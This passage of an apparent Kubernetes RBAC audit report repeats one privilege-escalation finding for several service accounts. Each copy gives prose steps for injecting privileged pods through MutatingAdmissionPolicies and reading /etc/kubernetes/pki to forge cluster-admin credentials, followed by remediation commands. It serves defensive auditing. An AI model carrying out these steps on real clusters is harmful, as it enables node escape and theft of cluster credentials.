An attacker who can write both the policy and a binding for it injects privileged: true, a hostPath mount, or an extra container into every pod created afterwards. Mutating admission runs before validating admission, so the injected pod still faces Pod Security Admission: the mutation targets a namespace PSA does not restrict (an unlabeled one, or kube-system), lands a privileged pod there, and that is a node escape.

  1. Attacker confirms both halves with kubectl auth can-i create mutatingadmissionpolicies --as=sa-mutating-policy -A and kubectl auth can-i create mutatingadmissionpolicybindings --as=sa-mutating-policy -A.
  2. They author a MutatingAdmissionPolicy matching pods CREATE whose ApplyConfiguration/JSONPatch sets spec.containers[*].securityContext.privileged: true and adds a hostPath: / volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.
  3. They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.
  4. They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own kubectl run); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.
  5. From the privileged pod they chroot into the host root, read /etc/kubernetes/pki/* or /var/lib/kubelet on a control-plane-adjacent node, and forge cluster-admin credentials.
Remediation
Remove write access to mutatingadmissionpolicies and mutatingadmissionpolicybindings from every non-admin identity; treat it like write access to (Cluster)RoleBindings.
  1. Drop create/update/patch on mutatingadmissionpolicies and mutatingadmissionpolicybindings from ServiceAccount/map-fixtures/sa-mutating-policy. These verbs belong only to cluster administrators.
  2. Audit who else holds them: kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test("mutatingadmissionpolic")) | .metadata.name' (add the ClusterRoleBinding subjects to see the reachable identities).
  3. Enumerate existing policies and bindings for a mutation already planted: kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml and review each spec.mutations block.
  4. Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.
  5. Verify with kubectl auth can-i create mutatingadmissionpolicies --as=sa-mutating-policy -A returning no.
Evidence
ScopeCluster
API groupsadmissionregistration.k8s.io
admissionregistration.k8s.io: Admission webhooks (controls policy enforcement)
Resourcesmutatingadmissionpoliciesmutatingadmissionpolicybindings
Verbscreateupdatepatch
create: Create new objects of this resource
update: Replace existing objects
patch: Mutate existing objects in place
Source rolecr-mutating-policy
Inspect: kubectl get clusterrole cr-mutating-policy -o yaml
Source bindingcrb-mutating-policy
Inspect: kubectl get clusterrolebinding crb-mutating-policy -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "admissionregistration.k8s.io"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "mutatingadmissionpolicies",
    "mutatingadmissionpolicybindings"
  ],
  "scope": "cluster",
  "source_binding": "crb-mutating-policy",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-mutating-policy",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create",
    "update",
    "patch"
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-wildcard Cluster 10.0
Mutating admission policy injection: ServiceAccount/rbac-fixtures/sa-wildcard can rewrite every admitted object
Scope · Cluster Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: RBACRule/cr-wildcard

Subject ServiceAccount/rbac-fixtures/sa-wildcard can write mutatingadmissionpolicies (via ClusterRoleBinding crb-wildcard : ClusterRole cr-wildcard) and mutatingadmissionpolicybindings (via ClusterRoleBinding crb-wildcard : ClusterRole cr-wildcard). A MutatingAdmissionPolicy is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.

With write access to both, the subject authors a mutation that matches pods on CREATE and injects securityContext.privileged: true, a hostPath volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.

Both halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors KUBE-PRIVESC-010, where a binding write escalates only alongside the bind verb.

One ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected privileged pod is still rejected by PSA in a namespace that enforces baseline or restricted. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a privileged-labelled one such as kube-system), which every real cluster has at least one of.

Impact Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMutatingAdmissionPolicy injection

A MutatingAdmissionPolicy is the in-tree, webhookless way to rewrite objects as the API server admits them (GA in Kubernetes v1.36). Its CEL / JSONPatch mutation lives in etcd and runs inside the API server, so unlike a mutating webhook there is no external endpoint, TLS certificate, or backing Deployment to notice.

An attacker who can write both the policy and a binding for it injects privileged: true, a hostPath mount, or an extra container into every pod created afterwards. Mutating admission runs before validating admission, so the injected pod still faces Pod Security Admission: the mutation targets a namespace PSA does not restrict (an unlabeled one, or kube-system), lands a privileged pod there, and that is a node escape.

  1. Attacker confirms both halves with kubectl auth can-i create mutatingadmissionpolicies --as=sa-wildcard -A and kubectl auth can-i create mutatingadmissionpolicybindings --as=sa-wildcard -A.
  2. They author a MutatingAdmissionPolicy matching pods CREATE whose ApplyConfiguration/JSONPatch sets spec.containers[*].securityContext.privileged: true and adds a hostPath: / volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.
  3. They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.
  4. They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own kubectl run); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.
  5. From the privileged pod they chroot into the host root, read /etc/kubernetes/pki/* or /var/lib/kubelet on a control-plane-adjacent node, and forge cluster-admin credentials.
Remediation
Remove write access to mutatingadmissionpolicies and mutatingadmissionpolicybindings from every non-admin identity; treat it like write access to (Cluster)RoleBindings.
  1. Drop create/update/patch on mutatingadmissionpolicies and mutatingadmissionpolicybindings from ServiceAccount/rbac-fixtures/sa-wildcard. These verbs belong only to cluster administrators.
  2. Audit who else holds them: kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test("mutatingadmissionpolic")) | .metadata.name' (add the ClusterRoleBinding subjects to see the reachable identities).
  3. Enumerate existing policies and bindings for a mutation already planted: kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml and review each spec.mutations block.
  4. Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.
  5. Verify with kubectl auth can-i create mutatingadmissionpolicies --as=sa-wildcard -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecr-wildcard
Inspect: kubectl get clusterrole cr-wildcard -o yaml
Source bindingcrb-wildcard
Inspect: kubectl get clusterrolebinding crb-wildcard -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-wildcard",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-wildcard",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/cert-manager/cert-manager Cluster 9.0
Mutating admission policy injection: ServiceAccount/cert-manager/cert-manager can rewrite every admitted object
Scope · Cluster Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster
Category: Privilege Escalation Subject: ServiceAccount/cert-manager/cert-manager Resource: RBACRule/cluster-admin

Subject ServiceAccount/cert-manager/cert-manager can write mutatingadmissionpolicies (via ClusterRoleBinding cutres-deputy-cm-admin : ClusterRole cluster-admin) and mutatingadmissionpolicybindings (via ClusterRoleBinding cutres-deputy-cm-admin : ClusterRole cluster-admin). A MutatingAdmissionPolicy is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.

With write access to both, the subject authors a mutation that matches pods on CREATE and injects securityContext.privileged: true, a hostPath volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.

Both halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors KUBE-PRIVESC-010, where a binding write escalates only alongside the bind verb.

One ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected privileged pod is still rejected by PSA in a namespace that enforces baseline or restricted. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a privileged-labelled one such as kube-system), which every real cluster has at least one of.

Impact Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMutatingAdmissionPolicy injection

A MutatingAdmissionPolicy is the in-tree, webhookless way to rewrite objects as the API server admits them (GA in Kubernetes v1.36). Its CEL / JSONPatch mutation lives in etcd and runs inside the API server, so unlike a mutating webhook there is no external endpoint, TLS certificate, or backing Deployment to notice.

An attacker who can write both the policy and a binding for it injects privileged: true, a hostPath mount, or an extra container into every pod created afterwards. Mutating admission runs before validating admission, so the injected pod still faces Pod Security Admission: the mutation targets a namespace PSA does not restrict (an unlabeled one, or kube-system), lands a privileged pod there, and that is a node escape.

  1. Attacker confirms both halves with kubectl auth can-i create mutatingadmissionpolicies --as=cert-manager -A and kubectl auth can-i create mutatingadmissionpolicybindings --as=cert-manager -A.
  2. They author a MutatingAdmissionPolicy matching pods CREATE whose ApplyConfiguration/JSONPatch sets spec.containers[*].securityContext.privileged: true and adds a hostPath: / volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.
  3. They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.
  4. They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own kubectl run); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.
  5. From the privileged pod they chroot into the host root, read /etc/kubernetes/pki/* or /var/lib/kubelet on a control-plane-adjacent node, and forge cluster-admin credentials.
Remediation
Remove write access to mutatingadmissionpolicies and mutatingadmissionpolicybindings from every non-admin identity; treat it like write access to (Cluster)RoleBindings.
  1. Drop create/update/patch on mutatingadmissionpolicies and mutatingadmissionpolicybindings from ServiceAccount/cert-manager/cert-manager. These verbs belong only to cluster administrators.
  2. Audit who else holds them: kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test("mutatingadmissionpolic")) | .metadata.name' (add the ClusterRoleBinding subjects to see the reachable identities).
  3. Enumerate existing policies and bindings for a mutation already planted: kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml and review each spec.mutations block.
  4. Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.
  5. Verify with kubectl auth can-i create mutatingadmissionpolicies --as=cert-manager -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-deputy-cm-admin
Inspect: kubectl get clusterrolebinding cutres-deputy-cm-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-deputy-cm-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/cutres/cutres-detour Cluster 9.0
Mutating admission policy injection: ServiceAccount/cutres/cutres-detour can rewrite every admitted object
Scope · Cluster Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-detour Resource: RBACRule/cluster-admin

Subject ServiceAccount/cutres/cutres-detour can write mutatingadmissionpolicies (via ClusterRoleBinding cutres-detour-direct : ClusterRole cluster-admin) and mutatingadmissionpolicybindings (via ClusterRoleBinding cutres-detour-direct : ClusterRole cluster-admin). A MutatingAdmissionPolicy is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.

With write access to both, the subject authors a mutation that matches pods on CREATE and injects securityContext.privileged: true, a hostPath volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.

Both halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors KUBE-PRIVESC-010, where a binding write escalates only alongside the bind verb.

One ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected privileged pod is still rejected by PSA in a namespace that enforces baseline or restricted. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a privileged-labelled one such as kube-system), which every real cluster has at least one of.

Impact Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMutatingAdmissionPolicy injection

A MutatingAdmissionPolicy is the in-tree, webhookless way to rewrite objects as the API server admits them (GA in Kubernetes v1.36). Its CEL / JSONPatch mutation lives in etcd and runs inside the API server, so unlike a mutating webhook there is no external endpoint, TLS certificate, or backing Deployment to notice.

An attacker who can write both the policy and a binding for it injects privileged: true, a hostPath mount, or an extra container into every pod created afterwards. Mutating admission runs before validating admission, so the injected pod still faces Pod Security Admission: the mutation targets a namespace PSA does not restrict (an unlabeled one, or kube-system), lands a privileged pod there, and that is a node escape.

  1. Attacker confirms both halves with kubectl auth can-i create mutatingadmissionpolicies --as=cutres-detour -A and kubectl auth can-i create mutatingadmissionpolicybindings --as=cutres-detour -A.
  2. They author a MutatingAdmissionPolicy matching pods CREATE whose ApplyConfiguration/JSONPatch sets spec.containers[*].securityContext.privileged: true and adds a hostPath: / volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.
  3. They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.
  4. They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own kubectl run); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.
  5. From the privileged pod they chroot into the host root, read /etc/kubernetes/pki/* or /var/lib/kubelet on a control-plane-adjacent node, and forge cluster-admin credentials.
Remediation
Remove write access to mutatingadmissionpolicies and mutatingadmissionpolicybindings from every non-admin identity; treat it like write access to (Cluster)RoleBindings.
  1. Drop create/update/patch on mutatingadmissionpolicies and mutatingadmissionpolicybindings from ServiceAccount/cutres/cutres-detour. These verbs belong only to cluster administrators.
  2. Audit who else holds them: kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test("mutatingadmissionpolic")) | .metadata.name' (add the ClusterRoleBinding subjects to see the reachable identities).
  3. Enumerate existing policies and bindings for a mutation already planted: kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml and review each spec.mutations block.
  4. Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.
  5. Verify with kubectl auth can-i create mutatingadmissionpolicies --as=cutres-detour -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-detour-direct
Inspect: kubectl get clusterrolebinding cutres-detour-direct -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-detour-direct",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/cutres/cutres-parallel Cluster 9.0
Mutating admission policy injection: ServiceAccount/cutres/cutres-parallel can rewrite every admitted object
Scope · Cluster Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-parallel Resource: RBACRule/cluster-admin

Subject ServiceAccount/cutres/cutres-parallel can write mutatingadmissionpolicies (via ClusterRoleBinding cutres-parallel-a : ClusterRole cluster-admin) and mutatingadmissionpolicybindings (via ClusterRoleBinding cutres-parallel-a : ClusterRole cluster-admin). A MutatingAdmissionPolicy is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.

With write access to both, the subject authors a mutation that matches pods on CREATE and injects securityContext.privileged: true, a hostPath volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.

Both halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors KUBE-PRIVESC-010, where a binding write escalates only alongside the bind verb.

One ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected privileged pod is still rejected by PSA in a namespace that enforces baseline or restricted. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a privileged-labelled one such as kube-system), which every real cluster has at least one of.

Impact Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMutatingAdmissionPolicy injection

A MutatingAdmissionPolicy is the in-tree, webhookless way to rewrite objects as the API server admits them (GA in Kubernetes v1.36). Its CEL / JSONPatch mutation lives in etcd and runs inside the API server, so unlike a mutating webhook there is no external endpoint, TLS certificate, or backing Deployment to notice.

An attacker who can write both the policy and a binding for it injects privileged: true, a hostPath mount, or an extra container into every pod created afterwards. Mutating admission runs before validating admission, so the injected pod still faces Pod Security Admission: the mutation targets a namespace PSA does not restrict (an unlabeled one, or kube-system), lands a privileged pod there, and that is a node escape.

  1. Attacker confirms both halves with kubectl auth can-i create mutatingadmissionpolicies --as=cutres-parallel -A and kubectl auth can-i create mutatingadmissionpolicybindings --as=cutres-parallel -A.
  2. They author a MutatingAdmissionPolicy matching pods CREATE whose ApplyConfiguration/JSONPatch sets spec.containers[*].securityContext.privileged: true and adds a hostPath: / volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.
  3. They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.
  4. They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own kubectl run); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.
  5. From the privileged pod they chroot into the host root, read /etc/kubernetes/pki/* or /var/lib/kubelet on a control-plane-adjacent node, and forge cluster-admin credentials.
Remediation
Remove write access to mutatingadmissionpolicies and mutatingadmissionpolicybindings from every non-admin identity; treat it like write access to (Cluster)RoleBindings.
  1. Drop create/update/patch on mutatingadmissionpolicies and mutatingadmissionpolicybindings from ServiceAccount/cutres/cutres-parallel. These verbs belong only to cluster administrators.
  2. Audit who else holds them: kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test("mutatingadmissionpolic")) | .metadata.name' (add the ClusterRoleBinding subjects to see the reachable identities).
  3. Enumerate existing policies and bindings for a mutation already planted: kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml and review each spec.mutations block.
  4. Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.
  5. Verify with kubectl auth can-i create mutatingadmissionpolicies --as=cutres-parallel -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-parallel-a
Inspect: kubectl get clusterrolebinding cutres-parallel-a -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-parallel-a",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/deepchain-tenant/deepchain-privileged Cluster 9.0
Mutating admission policy injection: ServiceAccount/deepchain-tenant/deepchain-privileged can rewrite every admitted object
Scope · Cluster Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-privileged Resource: RBACRule/cluster-admin

Subject ServiceAccount/deepchain-tenant/deepchain-privileged can write mutatingadmissionpolicies (via ClusterRoleBinding deepchain-privileged : ClusterRole cluster-admin) and mutatingadmissionpolicybindings (via ClusterRoleBinding deepchain-privileged : ClusterRole cluster-admin). A MutatingAdmissionPolicy is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.

With write access to both, the subject authors a mutation that matches pods on CREATE and injects securityContext.privileged: true, a hostPath volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.

Both halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors KUBE-PRIVESC-010, where a binding write escalates only alongside the bind verb.

One ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected privileged pod is still rejected by PSA in a namespace that enforces baseline or restricted. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a privileged-labelled one such as kube-system), which every real cluster has at least one of.

Impact Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMutatingAdmissionPolicy injection

A MutatingAdmissionPolicy is the in-tree, webhookless way to rewrite objects as the API server admits them (GA in Kubernetes v1.36). Its CEL / JSONPatch mutation lives in etcd and runs inside the API server, so unlike a mutating webhook there is no external endpoint, TLS certificate, or backing Deployment to notice.

An attacker who can write both the policy and a binding for it injects privileged: true, a hostPath mount, or an extra container into every pod created afterwards. Mutating admission runs before validating admission, so the injected pod still faces Pod Security Admission: the mutation targets a namespace PSA does not restrict (an unlabeled one, or kube-system), lands a privileged pod there, and that is a node escape.

  1. Attacker confirms both halves with kubectl auth can-i create mutatingadmissionpolicies --as=deepchain-privileged -A and kubectl auth can-i create mutatingadmissionpolicybindings --as=deepchain-privileged -A.
  2. They author a MutatingAdmissionPolicy matching pods CREATE whose ApplyConfiguration/JSONPatch sets spec.containers[*].securityContext.privileged: true and adds a hostPath: / volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.
  3. They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.
  4. They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own kubectl run); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.
  5. From the privileged pod they chroot into the host root, read /etc/kubernetes/pki/* or /var/lib/kubelet on a control-plane-adjacent node, and forge cluster-admin credentials.
Remediation
Remove write access to mutatingadmissionpolicies and mutatingadmissionpolicybindings from every non-admin identity; treat it like write access to (Cluster)RoleBindings.
  1. Drop create/update/patch on mutatingadmissionpolicies and mutatingadmissionpolicybindings from ServiceAccount/deepchain-tenant/deepchain-privileged. These verbs belong only to cluster administrators.
  2. Audit who else holds them: kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test("mutatingadmissionpolic")) | .metadata.name' (add the ClusterRoleBinding subjects to see the reachable identities).
  3. Enumerate existing policies and bindings for a mutation already planted: kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml and review each spec.mutations block.
  4. Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.
  5. Verify with kubectl auth can-i create mutatingadmissionpolicies --as=deepchain-privileged -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingdeepchain-privileged
Inspect: kubectl get clusterrolebinding deepchain-privileged -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "deepchain-privileged",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/flux-system/kustomize-controller Cluster 9.0
Mutating admission policy injection: ServiceAccount/flux-system/kustomize-controller can rewrite every admitted object
Scope · Cluster Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster
Category: Privilege Escalation Subject: ServiceAccount/flux-system/kustomize-controller Resource: RBACRule/cluster-admin

